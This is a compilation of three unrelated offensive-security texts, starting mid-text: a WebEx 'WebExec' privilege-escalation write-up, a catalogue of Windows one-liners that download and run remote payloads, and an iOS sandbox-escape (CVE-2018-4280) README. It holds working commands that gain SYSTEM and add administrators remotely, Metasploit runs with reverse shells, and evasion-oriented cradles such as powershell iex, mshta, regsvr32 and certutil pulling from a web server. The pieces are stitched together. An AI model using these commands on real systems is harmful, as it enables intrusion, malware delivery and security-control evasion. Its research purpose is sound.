  Exception code: 0x40000015
  Fault offset: 0x000a7676
  Faulting process id: 0x774
  Faulting application start time: 0x01d42dbc22eef30e
  Faulting application path: C:\ProgramData\Webex\Webex\Applications\WebExService.exe
  Faulting module path: C:\ProgramData\Webex\Webex\Applications\MSVCR120.dll
  Report Id: 60a0439c-99af-11e8-8391-0800271677bd

I had to google 0x40000015; it means STATUS_FATAL_APP_EXIT. In other words, the app exited, but hard — probably a failed assert()? We don’t really have any output, so it’s hard to say.

This one took me awhile, and this is where I’ll skip the deadends and debugging and show you what worked.

Basically, keep following the codepath immediately after the software-update string we saw earlier. Not too far after, you’ll see this function call:

  .text:0040281D                 call    sub_4025A0

If you jump into that function (double click), and scroll down a bit, you’ll see:

  .text:00402616                 mov     [esp+0B4h+var_70], offset aWinsta0Default ; "winsta0\\Default"

I used the most advanced technique in my arsenal here and googled that string. It turns out that it’s a handle to the default desktop and is frequently used when starting a new process that needs to interact with the user. That’s a great sign, it means we’re almost there!

A little bit after, in the same function, we see this code:

  .text:004026A2                 push    eax             ; EndPtr
  .text:004026A3                 push    esi             ; Str
  .text:004026A4                 call    ds:wcstod ; <--
  .text:004026AA                 add     esp, 8
  .text:004026AD                 fstp    [esp+0B4h+var_90]
  .text:004026B1                 cmp     esi, [esp+0B4h+EndPtr+4]
  .text:004026B5                 jnz     short loc_4026C2
  .text:004026B7                 push    offset aInvalidStodArg ; &quot;invalid stod argument&quot;
  .text:004026BC                 call    ds:?_Xinvalid_argument@std@@YAXPBD@Z ; std::_Xinvalid_argument(char const *)

The line with an error — wcstod() is close to where the abort() happened. I’ll spare you the debugging details — debugging a service was non-trivial — but I really should have seen that function call before I got off track.

I looked up wcstod() online, and it’s another of Microsoft’s cleverly named functions. This one converts a string to a number. If it fails, the code references something called std::_Xinvalid_argument. I don’t know exactly what it does from there, but we can assume that it’s looking for a number somewhere.

This is where my advice becomes «be lucky». The reason is, the only number that will actually work here is «1». I don’t know why, or what other numbers do, but I ended up calling the service with the commandline:

C:\Users\ron>sc start webexservice a software-update 1 2 3 4 5 6

And checked the event log:

  StartUpdateProcess::CreateProcessAsUser:1;1;2 3 4 5 6(18).

That looks awfully promising! I changed 2 to an actual process:

  C:\Users\ron>sc start webexservice a software-update 1 calc c d e f

And it opened!

C:\Users\ron>tasklist | find "calc"
calc.exe                      1476 Console                    1     10,804 K

It actually runs with a GUI, too, so that’s kind of unnecessary. I could literally see it! And it’s running as SYSTEM!

Speaking of unknowns, running cmd.exe and powershell the same way does not appear to work. We can, however, run wmic.exe and net.exe, so we have some choices!

Local exploit

The simplest exploit is to start cmd.exe with wmic.exe:

C:\Users\ron>sc start webexservice a software-update 1 wmic process call create "cmd.exe"

That opens a GUI cmd.exe instance as SYSTEM:

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
nt authority\system

If we can’t or choose not to open a GUI, we can also escalate privileges:

C:\Users\ron>net localgroup administrators
[...]
Administrator
ron

C:\Users\ron>sc start webexservice a software-update 1 net localgroup administrators testuser /add
[...]

C:\Users\ron>net localgroup administrators
[...]
Administrator
ron
testuser

And this all works as an unprivileged user!

Jeff wrote a local module for Metasploit to exploit the privilege escalation vulnerability. If you have a non-SYSTEM session on the affected machine, you can use it to gain a SYSTEM account:

meterpreter > getuid
Server username: IEWIN7\IEUser

meterpreter > background
[*] Backgrounding session 2...

msf exploit(multi/handler) > use exploit/windows/local/webexec
msf exploit(windows/local/webexec) > set SESSION 2
SESSION => 2

msf exploit(windows/local/webexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(windows/local/webexec) > set LHOST 172.16.222.1
msf exploit(windows/local/webexec) > set LPORT 9001
msf exploit(windows/local/webexec) > run

[*] Started reverse TCP handler on 172.16.222.1:9001
[*] Checking service exists...
[*] Writing 73802 bytes to %SystemRoot%\Temp\yqaKLvdn.exe...
[*] Launching service...
[*] Sending stage (179779 bytes) to 172.16.222.132
[*] Meterpreter session 2 opened (172.16.222.1:9001 -> 172.16.222.132:49574) at 2018-08-31 14:45:25 -0700
[*] Service started...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Remote exploit

We actually spent over a week knowing about this vulnerability without realizing that it could be used remotely! The simplest exploit can still be done with the Windows sc command. Either create a session to the remote machine or create a local user with the same credentials, then run cmd.exe in the context of that user (runas /user:newuser cmd.exe). Once that’s done, you can use the exact same command against the remote host:

c:\>sc \\10.0.0.0 start webexservice a software-update 1 net localgroup administrators testuser /add

The command will run (and a GUI will even pop up!) on the other machine.

Remote exploitation with Metasploit

To simplify this attack, I wrote a pair of Metasploit modules. One is an auxiliary module that implements this attack to run an arbitrary command remotely, and the other is a full exploit module. Both require a valid SMB account (local or domain), and both mostly depend on the WebExec library that I wrote.

Here is an example of using the auxiliary module to run calc on a bunch of vulnerable machines:

msf5 > use auxiliary/admin/smb/webexec_command
msf5 auxiliary(admin/smb/webexec_command) > set RHOSTS 192.168.1.100-110
RHOSTS => 192.168.56.100-110
msf5 auxiliary(admin/smb/webexec_command) > set SMBUser testuser
SMBUser => testuser
msf5 auxiliary(admin/smb/webexec_command) > set SMBPass testuser
SMBPass => testuser
msf5 auxiliary(admin/smb/webexec_command) > set COMMAND calc
COMMAND => calc
msf5 auxiliary(admin/smb/webexec_command) > exploit

[-] 192.168.56.105:445    - No service handle retrieved
[+] 192.168.56.105:445    - Command completed!
[-] 192.168.56.103:445    - No service handle retrieved
[+] 192.168.56.103:445    - Command completed!
[+] 192.168.56.104:445    - Command completed!
[+] 192.168.56.101:445    - Command completed!
[*] 192.168.56.100-110:445 - Scanned 11 of 11 hosts (100% complete)
[*] Auxiliary module execution completed

And here’s the full exploit module:

msf5 > use exploit/windows/smb/webexec
msf5 exploit(windows/smb/webexec) > set SMBUser testuser
SMBUser => testuser
msf5 exploit(windows/smb/webexec) > set SMBPass testuser
SMBPass => testuser
msf5 exploit(windows/smb/webexec) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf5 exploit(windows/smb/webexec) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf5 exploit(windows/smb/webexec) > exploit

[*] 192.168.56.101:445 - Connecting to the server...
[*] 192.168.56.101:445 - Authenticating to 192.168.56.101:445 as user 'testuser'...
[*] 192.168.56.101:445 - Command Stager progress -   0.96% done (999/104435 bytes)
[*] 192.168.56.101:445 - Command Stager progress -   1.91% done (1998/104435 bytes)
...
[*] 192.168.56.101:445 - Command Stager progress -  98.52% done (102891/104435 bytes)
[*] 192.168.56.101:445 - Command Stager progress -  99.47% done (103880/104435 bytes)
[*] 192.168.56.101:445 - Command Stager progress - 100.00% done (104435/104435 bytes)
[*] Started bind TCP handler against 192.168.56.101:4444
[*] Sending stage (179779 bytes) to 192.168.56.101

The actual implementation is mostly straight forward if you look at the code linked above, but I wanted to specifically talk about the exploit module, since it had an interesting problem: how do you initially get a meterpreter .exe uploaded to execute it?

I started by using a psexec-like exploit where we upload the .exe file to a writable share, then execute it via WebExec. That proved problematic, because uploading to a share frequently requires administrator privileges, and at that point you could simply use psexecinstead. You lose the magic of WebExec!

After some discussion with Egyp7, I realized I could use the Msf::Exploit::CmdStager mixin to stage the command to an .exe file to the filesystem. Using the .vbs flavor of staging, it would write a Base64-encoded file to the disk, then a .vbs stub to decode and execute it!

There are several problems, however:

  • The max line length is ~1200 characters, whereas the CmdStager mixin uses ~2000 characters per line
  • CmdStager uses %TEMP% as a temporary directory, but our exploit doesn’t expand paths
  • WebExecService seems to escape quotation marks with a backslash, and I’m not sure how to turn that off

The first two issues could be simply worked around by adding options (once I’d figured out the options to use):

wexec(true) do |opts|
  opts[:flavor] = :vbs
  opts[:linemax] = datastore["MAX_LINE_LENGTH"]
  opts[:temp] = datastore["TMPDIR"]
  opts[:delay] = 0.05
  execute_cmdstager(opts)
end

execute_cmdstager() will execute execute_command() over and over to build the payload on-disk, which is where we fix the final issue:

# This is the callback for cmdstager, which breaks the full command into
# chunks and sends it our way. We have to do a bit of finangling to make it
# work correctly
def execute_command(command, opts)
  # Replace the empty string, "", with a workaround - the first 0 characters of "A"
  command = command.gsub('""', 'mid(Chr(65), 1, 0)')

  # Replace quoted strings with Chr(XX) versions, in a naive way
  command = command.gsub(/"[^"]*"/) do |capture|
    capture.gsub(/"/, "").chars.map do |c|
      "Chr(#{c.ord})"
    end.join('+')
  end

  # Prepend "cmd /c" so we can use a redirect
  command = "cmd /c " + command

  execute_single_command(command, opts)
end

First, it replaces the empty string with mid(Chr(65), 1, 0), which works out to characters 1 — 1 of the string «A». Or the empty string!

Second, it replaces every other string with Chr(n)+Chr(n)+.... We couldn’t use &, because that’s already used by the shell to chain commands. I later learned that we can escape it and use ^&, which works just fine, but + is shorter so I stuck with that.

And finally, we prepend cmd /c to the command, which lets us echo to a file instead of just passing the > symbol to the process. We could probably use ^> instead.

In a targeted attack, it’s obviously possible to do this much more cleanly, but this seems to be a great way to do it generically!

Checking for the patch

This is one of those rare (or maybe not so rare?) instances where exploiting the vulnerability is actually easier than checking for it!

The patched version of WebEx still allows remote users to connect to the process and start it. However, if the process detects that it’s being asked to run an executable that is not signed by WebEx, the execution will halt. Unfortunately, that gives us no information about whether a host is vulnerable!

There are a lot of targeted ways we could validate whether code was run. We could use a DNS request, telnet back to a specific port, drop a file in the webroot, etc. The problem is that unless we have a generic way to check, it’s no good as a script!

In order to exploit this, you have to be able to get a handle to the service-controlservice (svcctl), so to write a checker, I decided to install a fake service, try to start it, then delete the service. If starting the service returns either OK or ACCESS_DENIED, we know it worked!

Here’s the important code from the Nmap checker module we developed:

-- Create a test service that we can query
local webexec_command = "sc create " .. test_service .. " binpath= c:\\fakepath.exe"
status, result = msrpc.svcctl_startservicew(smbstate, open_service_result['handle'], stdnse.strsplit(" ", "install software-update 1 " .. webexec_command))

-- ...

local test_status, test_result = msrpc.svcctl_openservicew(smbstate, open_result['handle'], test_service, 0x00000)

-- If the service DOES_NOT_EXIST, we couldn't run code
if string.match(test_result, 'DOES_NOT_EXIST') then
  stdnse.debug("Result: Test service does not exist: probably not vulnerable")
  msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])

  vuln.check_results = "Could not execute code via WebExService"
  return report:make_output(vuln)
end

Not shown: we also delete the service once we’re finished.

Conclusion

So there you have it! Escalating privileges from zero to SYSTEM using WebEx’s built-in update service! Local and remote! Check out webexec.org for tools and usage instructions!

Windows oneliners to download remote payload and execute arbitrary code

( origin text )

In the wake of the recent buzz and trend in using DDE for executing arbitrary command lines and eventually compromising a system, I asked myself « what are the coolest command lines an attacker could use besides the famous powershell oneliner » ?

These command lines need to fulfill the following prerequisites:

  • allow for execution of arbitrary code – because spawning calc.exe is cool, but has its limits huh ?
  • allow for downloading its payload from a remote server – because your super malware/RAT/agent will probably not fit into a single command line, does it ?
  • be proxy aware – because which company doesn’t use a web proxy for outgoing traffic nowadays ?
  • make use of as standard and widely deployed Microsoft binaries as possible – because you want this command line to execute on as much systems as possible
  • be EDR friendly – oh well, Office spawning cmd.exe is already a bad sign, but what about powershell.exe or cscript.exe downloading stuff from the internet ?
  • work in memory only – because your final payload might get caught by AV when written on disk

A lot of awesome work has been done by a lot of people, especially @subTee, regarding application whitelisting bypass, which is eventually what we want: execute arbitrary code abusing Microsoft built-in binaries.

Let’s be clear that not all command lines will fulfill all of the above points. Especially the « do not write the payload on disk » one, because most of the time the downloaded file will end-up in a local cache.

When it comes to downloading a payload from a remote server, it basically boils down to 3 options:

  1. either the command itself accepts an HTTP URL as one of its arguments
  2. the command accepts a UNC path (pointing to a WebDAV server)
  3. the command can execute a small inline script with a download cradle

Depending on the version of Windows (7, 10), the local cache for objects downloaded over HTTP will be the IE local cache, in one the following location:

  • C:\Users\<username>\AppData\Local\Microsoft\Windows\Temporary Internet Files\
  • C:\Users\<username>\AppData\Local\Microsoft\Windows\INetCache\IE\<subdir>

On the other hand, files accessed via a UNC path pointing to a WebDAV server will be saved in the WebDAV client local cache:

  • C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV

When using a UNC path to point to the WebDAV server hosting the payload, keep in mind that it will only work if the WebClient service is started. In case it’s not started, in order to start it even from a low privileged user, simply prepend your command line with « pushd \\webdavserver & popd ».

In all of the following scenarios, I’ll mention which process is seen as performing the network traffic and where the payload is written on disk.

Powershell


Ok, this is by far the most famous one, but also probably the most monitored oneif not blocked. A well known proxy friendly command line is the following:

1
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"

Process performing network call: powershell.exe
Payload written on disk: NO (at least nowhere I could find using procmon !)

Of course you could also use its encoded counterpart.

But you can also call the payload directly from a WebDAV server:

1
powershell -exec bypass -f \\webdavserver\folder\payload.ps1

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache

Cmd


Why make things complicated when you can have cmd.exe executing a batch file ? Especially when that batch file can not only execute a series of commands but also, more importantly, embed any file type (scripting, executable, anything that you can think of !). Have a look at my Invoke-EmbedInBatch.ps1 script (heavily inspired by @xorrior work), and see that you can easily drop any binary, dll, script: https://github.com/Arno0x/PowerShellScripts
So once you’ve been creative with your payload as a batch file, go for it:

1
cmd.exe /k < \\webdavserver\folder\batchfile.txt

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache

Cscript/Wscript


Also very common, but the idea here is to download the payload from a remote server in one command line:

1
cscript //E:jscript \\webdavserver\folder\payload.txt

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache

Mshta


Mshta really is the same family as cscript/wscript but with the added capability of executing an inline script which will download and execute a scriptlet as a payload:

1
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))

Process performing network call: mshta.exe
Payload written on disk: IE local cache

You could also do a much simpler trick since mshta accepts a URL as an argument to execute an HTA file:

1
mshta http://webserver/payload.hta

Process performing network call: mshta.exe
Payload written on disk: IE local cache

Eventually, the following also works, with the advantage of hiding mshta.exe downloading stuff:

1
mshta \\webdavserver\folder\payload.hta

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache

Rundll32


A well known one as well, can be used in different ways. First one is referring to a standard DLL using a UNC path:

1
rundll32 \\webdavserver\folder\payload.dll,entrypoint

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache

Rundll32 can also be used to call some inline jscript:

1
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();

Process performing network call: rundll32.exe
Payload written on disk: IE local cache

Wmic


Discovered by @subTee with @mattifestation, wmic can invoke an XSL (eXtensible Stylesheet Language) local or remote file, which may contain some scripting of our choice:

1
wmic os get /format:"https://webserver/payload.xsl"

Process performing network call: wmic.exe
Payload written on disk: IE local cache

Regasm/Regsvc


Regasm and Regsvc are one of those fancy application whitelisting bypass techniques discovered by @subTee. You need to create a specific DLL (can be written in .Net/C#) that will expose the proper interfaces, and you can then call it over WebDAV:

1
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache

Regsvr32


Another one from @subTee. This ones requires a slightly different scriptlet from the mshta one above. First option:

1
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll

Process performing network call: regsvr32.exe
Payload written on disk: IE local cache

Second option using UNC/WebDAV:

1
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache

Odbcconf


This one is close to the regsvr32 one. Also discovered by @subTee, it can execute a DLL exposing a specific function. To be noted is that the DLL file doesn’t need to have the .dll extension. It can be downloaded using UNC/WebDAV:

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odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache

Msbuild


Let’s keep going with all these .Net framework utilities discovered by @subTee. You can NOT use msbuild.exe using an inline tasks straight from a UNC path (actually, you can but it gets really messy), so I turned out with the following trick, using msbuild.exe only. Note that it will require to be called within a shell with ENABLEDELAYEDEXPANSION (/V option):

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cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache

Not sure this one is really useful as is. As we’ll see later, we could use other means of downloading the file locally, and then execute it with msbuild.exe.

Combining some commands


After all, having the possibility to execute a command line (from DDE for instance) doesn’t mean you should restrict yourself to only one command. Commands can be chained to reach an objective.

For instance, the whole payload download part can be done with certutil.exe, again thanks to @subTee for discovering this:

1
certutil -urlcache -split -f http://webserver/payload payload

Now combining some commands in one line, with the InstallUtil.exe executing a specific DLL as a payload:

1
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll

You could simply deliver an executable:

1
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe

There are probably much other ways of achieving the same result, but these command lines do the job while fulfilling most of prerequisites we set at the beginning of this post !

One may wonder why I do not mention the usage of the bitsadmin utility as a means of downloading a payload. I’ve left this one aside on purpose simply because it’s not proxy aware.

Payloads source examples


All the command lines previously cited make use of specific payloads:

  • Various scriplets (.sct), for mshta, rundll32 or regsvr32
  • XSL files for wmic
  • HTML Application (.hta)
  • MSBuild inline tasks (.xml or .csproj)
  • DLL for InstallUtil or Regasm/Regsvc

You can get examples of most payloads from the awesome atomic-red-team repo on Github: https://github.com/redcanaryco/atomic-red-team from @redcanaryco.

You can also get all these payloads automatically generated thanks to the GreatSCT project on Github: https://github.com/GreatSCT/GreatSCT

You can also find some other examples on my gist: https://gist.github.com/Arno0x

Blanket is a sandbox escape targeting iOS 11.2.6

blanket

https://github.com/bazad/blanket

Blanket is a sandbox escape targeting iOS 11.2.6, although the main vulnerability was only patched in iOS 11.4.1. It exploits a Mach port replacement vulnerability in launchd (CVE-2018-4280), as well as several smaller vulnerabilities in other services, to execute code inside the ReportCrash process, which is unsandboxed, runs as root, and has the task_for_pid-allowentitlement. This grants blanket control over every process running on the phone, including security-critical ones like amfid.

The exploit consists of several stages. This README will explain the main vulnerability and the stages of the sandbox escape step-by-step.

Impersonating system services

While researching crash reporting on iOS, I discovered a Mach port replacement vulnerability in launchd. By crashing in a particular way, a process can make the kernel send a Mach message to launchd that causes launchd to over-deallocate a send right to a Mach port in its IPC namespace. This allows an attacker to impersonate any launchd service it can look up to the rest of the system, which opens up numerous avenues to privilege escalation.

This vulnerability is also present on macOS, but triggering the vulnerability on iOS is more difficult due to checks in launchd that ensure that the Mach exception message comes from the kernel.

CVE-2018-4280: launchd Mach port over-deallocation while handling EXC_CRASH exception messages

Launchd multiplexes multiple different Mach message handlers over its main port, including a MIG handler for exception messages. If a process sends a mach_exception_raise or mach_exception_raise_state_identity message to its own bootstrap port, launchd will receive and process that message as a host-level exception.

Unfortunately, launchd’s handling of these messages is buggy. If the exception type is EXC_CRASH, then launchd will deallocate the thread and task ports sent in the message and then return KERN_FAILURE from the service routine, causing the MIG system to deallocate the thread and task ports again. (The assumption is that if a service routine returns success, then it has taken ownership of all resources in the Mach message, while if the service routine returns an error, then it has taken ownership of none of the resources.)

Here is the code from launchd’s service routine for mach_exception_raise messages, decompiled using IDA/Hex-Rays and lightly edited for readability:

kern_return_t __fastcall
catch_mach_exception_raise(                             // (a) The service routine is
        mach_port_t            exception_port,          //     called with values directly
        mach_port_t            thread,                  //     from the Mach message
        mach_port_t            task,                    //     sent by the client. The
        exception_type_t       exception,               //     thread and task ports could
        mach_exception_data_t  code,                    //     be arbitrary send rights.
        mach_msg_type_number_t codeCnt)
{
    __int64 __stack_guard;                 // ST28_8@1
    kern_return_t kr;                      // w0@1 MAPDST
    kern_return_t result;                  // w0@4
    __int64 codes_left;                    // x25@6
    mach_exception_data_type_t code_value; // t1@7
    int pid;                               // [xsp+34h] [xbp-44Ch]@1
    char codes_str[1024];                  // [xsp+38h] [xbp-448h]@7

    __stack_guard = *__stack_chk_guard_ptr;
    pid = -1;
    kr = pid_for_task(task, &pid);
    if ( kr )
    {
        _os_assumes_log(kr);
        _os_avoid_tail_call();
    }
    if ( current_audit_token.val[5] )                   // (b) If the message was sent by
    {                                                   //     a process with a nonzero PID
        result = KERN_FAILURE;                          //     (any non-kernel process),
    }                                                   //     the message is rejected.
    else
    {
        if ( codeCnt )
        {
            codes_left = codeCnt;
            do
            {
                code_value = *code;
                ++code;
                __snprintf_chk(codes_str, 0x400uLL, 0, 0x400uLL, "0x%llx", code_value);
                --codes_left;
            }
            while ( codes_left );
        }
        launchd_log_2(
            0LL,
            3LL,
            "Host-level exception raised: pid = %d, thread = 0x%x, "
                "exception type = 0x%x, codes = { %s }",
            pid,
            thread,
            exception,
            codes_str);
        kr = deallocate_port(thread);                   // (c) The "thread" port sent in
        if ( kr )                                       //     the message is deallocated.
        {
            _os_assumes_log(kr);
            _os_avoid_tail_call();
        }
        kr = deallocate_port(task);                     // (d) The "task" port sent in the
        if ( kr )                                       //     message is deallocated.
        {
            _os_assumes_log(kr);
            _os_avoid_tail_call();
        }
        if ( exception == EXC_CRASH )                   // (e) If the exception type is
            result = KERN_FAILURE;                      //     EXC_CRASH, then KERN_FAILURE
        else                                            //     is returned. MIG will
            result = 0;                                 //     deallocate the ports again.
    }
    *__stack_chk_guard_ptr;
    return result;
}

This is what the code does:

  1. This function is the Mach service routine for mach_exception_raise exception messages: it gets invoked directly by the Mach system when launchd processes a mach_exception_raise Mach exception message. The arguments to the service routine are parsed from the Mach message, and hence are controlled by the message’s sender.
  2. At (b), launchd checks that the Mach exception message was sent by the kernel. The sender’s audit token contains the PID of the sending process in field 5, which will only be zero for the kernel. If the message wasn’t sent by the kernel, it is rejected.
  3. The thread and task ports from the message are explicitly deallocated at (c) and (d).
  4. At (e), launchd checks whether the exception type is EXC_CRASH, and returns KERN_FAILURE if so. The intent is to make sure not to handle EXC_CRASH messages, presumably so that ReportCrash is invoked as the corpse handler. However, returning KERN_FAILURE at this point will cause the task and thread ports to be deallocated again when the exception message is cleaned up later. This means those two ports will be over-deallocated.

In order for this vulnerability to be useful, we will want to free launchd’s send right to a Mach service it vends, so that we can then impersonate that service to the rest of the system. This means that we’ll need the task and thread ports in the exception message to really be send rights to the Mach service port we want to free in launchd. Then, once we’ve sent launchd the malicious exception message and freed the service port, we will try to get that same port name reused, but this time for a Mach port to which we hold the receive right. That way, when a client asks launchd to give them a send right to the Mach port for the service, launchd will instead give them a send right to our port, letting us impersonate that service to the client. After that, there are many different routes to gain system privileges.

Triggering the vulnerability

In order to actually trigger the vulnerability, we’ll need to bypass the check that the message was sent by the kernel. This is because if we send the exception message to launchd directly it will just be discarded. Somehow, we need to get the kernel to send a «malicious» exception message containing a Mach send right for a system service instead of the real thread and task ports.

As it turns out, there is a Mach trap, task_set_special_port, that can be used to set a custom send right to be used in place of the true task port in certain situations. One of these situations is when the kernel generates an exception message on behalf of a task: instead of placing the true task send right in the exception message, the kernel will use the send right supplied bytask_set_special_port. More specifically, if a task calls task_set_special_port to set a custom value for its TASK_KERNEL_PORTspecial port and then the task crashes, the exception message generated by the kernel will have a send right to the custom port, not the true task port, in the «task» field. An equivalent API, thread_set_special_port, can be used to set a custom port in the «thread» field of the generated exception message.

Because of this behavior, it’s actually not difficult at all to make the kernel generate a «malicious» exception message containing a Mach service port in place of the task and thread port. However, we still need to ensure that the exception message that we generate gets delivered to launchd.

Once again, making sure the kernel delivers the «malicious» exception message to launchd isn’t difficult if you know the right API. The function thread_set_exception_ports will set any Mach send right as the port to which exception messages on this thread are delivered. Thus, all we need to do is invoke thread_set_exception_ports with the bootstrap port, and then any exception we generate will cause the kernel to send an exception message to launchd.

The last piece of the puzzle is getting the right exception type. The vulnerability will only be triggered for EXC_CRASHexceptions. A little trial and error reveals that we can easily generate EXC_CRASH exceptions by calling the standard abortfunction.

Thus, in summary, we can use existing and well-documented APIs to make the kernel generate a malicious EXC_CRASHexception message on our behalf and deliver it to launchd, triggering the vulnerability and freeing the Mach service port:

  1. Use thread_set_exception_ports to set launchd as the exception handler for this thread.
  2. Call bootstrap_look_up to get the service port for the service we want to impersonate from launchd.
  3. Call task_set_special_port/thread_set_special_port to use that service port instead of the true task and thread ports in exception messages.
  4. Call abort. The kernel will send an EXC_CRASH exception message to launchd, but the task and thread ports in the message will be the target service port.
  5. Launchd will process the exception message and free the service port.

Running code after the crash

There’s a problem with the above strategy: calling abort will kill our process. If we want to be able to run any code at all after triggering the vulnerability, we need a way to perform the crash in another process.

(With other exception types a process could actually recover from the exception. The way a process would recover is to set its thread exception handler to be launchd and its task exception handler to be itself. After launchd processes and fails to handle the exception, the kernel would send the exception to the task handler, which would reset the thread state and inform the kernel that the exception has been handled. However, a process cannot catch its own EXC_CRASH exceptions, so we do need two processes.)

One strategy is to first exploit a vulnerability in another process on iOS and force that process to set its kernel ports and crash. However, for a proof-of-concept, it’s easier to create an app extension.

App extensions, introduced in iOS 8, provide a way to package some functionality of an application so it is available outside of the application. The code of an app extension runs in a separate, sandboxed process. This makes it very easy to launch a process that will set its special ports, register launchd as its exception handler for EXC_CRASH, and then call abort.

There is no supported way for an app to programatically launch its own app extension and talk to it. However, Ian McDowell wrote a great article describing how to use the private NSExtension API to launch and communicate with an app extension process. I’ve used an almost identical strategy here. The only difference is that we need to communicate a Mach port to the app extension process, which involves registering a dummy service with launchd to which the app extension connects.

Preventing port reuse in launchd

One challenge you would notice if you ran the exploit as described is that occasionally you would not be able to reacquire the freed port. The reason for this is that the kernel tracks a process’s free IPC entries in a freelist, and so a just-freed port name will be reused (with a different generation number) when a new port is allocated in the IPC table. Thus, we will only reallocate the port name we want if launchd doesn’t reuse that IPC entry slot for another port first.

The way around this is to bury the free IPC entry slot down the freelist, so that if launchd allocates new ports those other slots will be used first. How do we do this? We can register a bunch of dummy Mach services in launchd with ports to which we hold the receive right. When we call abort, the exception handler will fire first, and then the process state, including the Mach ports, will be cleaned up. When launchd receives the EXC_CRASH exception it will inadvertently free the target service port, placing the IPC entry slot corresponding to that port name at the head of the freelist. Then, when the rest of our app extension’s Mach ports are destroyed, launchd will receive notifications and free the dummy service ports, burying the target IPC entry slot behind the slots for the just-freed ports. Thus, as long as launchd allocates fewer ports than the number of dummy services we registered, the target slot will still be on the freelist, meaning we can still cause launchd to reallocate the slot with the same port name as the original service.

The limitation of this strategy is that we need the com.apple.security.application-groups entitlement in order to register services with launchd. There are other ways to stash Mach ports in launchd, but using application groups is certainly the easiest, and suffices for this proof-of-concept.

Impersonating the freed service

Once we have spawned the crasher app extension and freed a Mach send right in launchd, we need to reallocate that Mach port name with a send right to which we hold the receive right. That way, any messages launchd sends to that port name will be received by us, and any time launchd shares that port name with a client, the client will receive a send right to our port. In particular, if we can free launchd’s send right to a Mach service, then any process that requests that service from launchd will receive a send right to our own port instead of the real service port. This allows us to impersonate the service or perform a man-in-the-middle attack, inspecting all messages that the client sends to the service.

Getting the freed port name reused so that it refers to a port we own is also quite simple, given that we’ve already decided to use the application-groups entitlement: just register dummy Mach services with launchd until one of them reuses the original port name. We’ll need to do it in batches, registering a large number of dummy services together, checking to see if any has successfully reused the freed port name, and then deregistering them. The reason is that we need to be sure that our registrations go all the way back in the IPC port freelist to recover the buried port name we want.

We can check whether we’ve managed to successfully reuse the freed port name by looking up the original service with bootstrap_look_up: if it returns one of our registered service ports, we’re done.

Once we’ve managed to register a new service that gets the same port name as the original, any clients that look up the original service in launchd will be given a send right to our port, not the real service port. Thus, we are effectively impersonating the original service to the rest of the system (or at least, to those processes that look up the service after our attack).

Stage 1: Obtaining the host-priv port

Once we have the capability to impersonate arbitrary system services, the next step is to obtain the host-priv port. This step is straightforward, and is not affected by the changes in iOS 11.3. The high-level idea of this attack is to impersonate SafetyNet, crash ReportCrash, and then retrieve the host-priv port from the dying ReportCrash task port sent in the exception message.

About ReportCrash and SafetyNet

ReportCrash is responsible for generating crash reports on iOS. This one binary actually vends 4 different services (each in a different process, although not all may be running at any given time):

  1. com.apple.ReportCrash is responsible for generating crash reports for crashing processes. It is the host-level exception handler for EXC_CRASHEXC_GUARD, and EXC_RESOURCE exceptions.
  2. com.apple.ReportCrash.Jetsam handles Jetsam reports.
  3. com.apple.ReportCrash.SimulateCrash creates reports for simulated crashes.
  4. com.apple.ReportCrash.SafetyNet is the registered exception handler for the com.apple.ReportCrash service.

The ones of interest to us are com.apple.ReportCrash and com.apple.ReportCrash.SafetyNet, hereafter referred to simply as ReportCrash and SafetyNet. Both of these are MIG-based services, and they run effectively the same code.

When ReportCrash starts up, it looks up the SafetyNet service in launchd and sets the returned port as the task-level exception handler. The intent seems to be that if ReportCrash itself were to crash, a separate process would generate the crash report for it. However, this code path looks defunct: ReportCrash registers SafetyNet for mach_exception_raise messages, even though both ReportCrash and SafetyNet only handle mach_exception_raise_state_identity messages. Nonetheless, both services are still present and reachable from within the iOS container sandbox.

ReportCrash manipulation primitives

In order to carry out the following attack, we need to be able to manipulate ReportCrash (or SafetyNet) to behave in the way we want. Specifically, we need the following capabilities: start ReportCrash on demand, force ReportCrash to exit, crash ReportCrash, and make sure that ReportCrash doesn’t exit while we’re using it. Here I’ll describe how we achieve each objective.

In order to start ReportCrash, we simply need to send it a Mach message: launchd will start it on demand. However, due to its peculiar design, any message type except mach_exception_raise_state_identity will cause ReportCrash to stop responding to new messages and eventually exit. Thus, we need to send a mach_exception_raise_state_identity message if we want it to stay alive afterwards.

